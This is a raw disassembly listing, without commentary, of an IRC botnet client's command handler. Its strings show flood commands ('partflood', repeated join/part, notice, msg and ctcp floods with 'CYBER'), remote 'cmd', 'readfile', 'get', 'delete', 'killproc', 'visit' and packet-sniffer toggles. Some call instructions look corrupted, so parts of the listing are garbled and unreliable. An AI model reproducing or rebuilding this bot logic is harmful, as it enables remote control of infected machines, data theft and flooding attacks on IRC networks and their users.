		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B504
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 26A0B9Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B464
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B44C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		call	near ptr 26A0B9Fh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B424
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B34C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B24C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B21C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset dword_42B1E0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B178
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B150
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
